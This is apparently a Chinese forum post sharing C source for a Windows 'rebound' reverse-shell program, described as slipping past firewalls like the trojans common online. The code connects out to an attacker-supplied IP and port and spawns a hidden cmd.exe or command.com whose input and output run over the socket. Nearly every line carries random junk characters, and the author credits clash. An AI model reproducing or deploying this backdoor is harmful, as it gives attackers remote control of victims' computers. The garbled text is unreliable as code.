这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 'qR)f\em
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/* ============================== AE`z~L,
Rebound port in Windows NT +T]/4"^M
By wind,2006/7 N l~'W
===============================*/ `[)
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#include fmqHWu*wG
#include +OSF0#bj
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#pragma comment(lib,"wsock32.lib") klkshlk d
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void OutputShell(); y5>X0tT
SOCKET sClient; 5d ?\>dA
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Y3%_IwSJ|
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void main(int argc,char **argv) [ PXv8K%]p
{ bH6i1c8
WSADATA stWsaData; 2G=prS`s
int nRet; ,x (?7ZW>
SOCKADDR_IN stSaiClient,stSaiServer; p./9^S
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if(argc != 3) _.)6~
{ Y52f8qQq
printf("Useage:\n\rRebound DestIP DestPort\n"); -jXO9Q
return; Mk-zeq<2z
} EA#{N<
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WSAStartup(MAKEWORD(2,2),&stWsaData); *;E\,,Io
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 92F9)S{"
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stSaiClient.sin_family = AF_INET; msf%i !
stSaiClient.sin_port = htons(0); H6o_*Y
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); t=(d, kf
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) o5h*sQ9
{ J?R\qEq%
printf("Bind Socket Failed!\n"); 8'<RPU}M
return; uT#4"G9A[
} K;L6<a A#
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stSaiServer.sin_family = AF_INET; #[odjSb
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;Q.'u
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Iz_#wO
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) u.yjk/jF
{ I+GP`=\
printf("Connect Error!"); /#Gm`BT
return; OCN:{
} 8"=E0(m
OutputShell(); D~Rv"Hh
} K^m`3N"
# A#,]XP
void OutputShell() wn Q% 'Eo
{ ./qbWr`L
char szBuff[1024]; GeFu_7u!|
SECURITY_ATTRIBUTES stSecurityAttributes; -IE=?23Do?
OSVERSIONINFO stOsversionInfo; oK@_
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; fG"4\A
STARTUPINFO stStartupInfo; .VA'W16
char *szShell; J;5G]$s
PROCESS_INFORMATION stProcessInformation; 6[T)Q ^0`
unsigned long lBytesRead; Yu+;vjbK-
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _m@+d>f_
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); dTVh{~/
stSecurityAttributes.lpSecurityDescriptor = 0; Hd ${I",
stSecurityAttributes.bInheritHandle = TRUE; ^!7|B3`
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); z^Y4:^L~I
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {C'9?4&
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )YPut.
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yP "D~u
stStartupInfo.wShowWindow = SW_HIDE; _zG[b/:p
stStartupInfo.hStdInput = hReadPipe; A 6j>KTU
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; rodr@
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GetVersionEx(&stOsversionInfo); ^K?Mq1"Db
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switch(stOsversionInfo.dwPlatformId) !glGW[r/7
{ +GlG.6
case 1: ;@/vKA3l.
szShell = "command.com"; IJ2>\bW_p
break; E>&oe&`o'
default: ~+&Z4CYb
szShell = "cmd.exe"; aMO+y91Y(
break; >mp"=Y
} psM&r
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); q/dja
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send(sClient,szMsg,77,0); ]GmXZi
while(1) 8gXf4A(N
{ #TD0)C/
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^T_2s
if(lBytesRead) lk%W2N5
{ 7rjS.
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); jB0ED0)wX
send(sClient,szBuff,lBytesRead,0); qAirH1#
} &DX
else 11BfJvs:
{ F:cenIaBF
lBytesRead=recv(sClient,szBuff,1024,0); &BkdC,o
if(lBytesRead<=0) break; f4lC*nCN
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); k%h%mz
}
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} rRd8W}B
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return; >o8N@`@VK-
}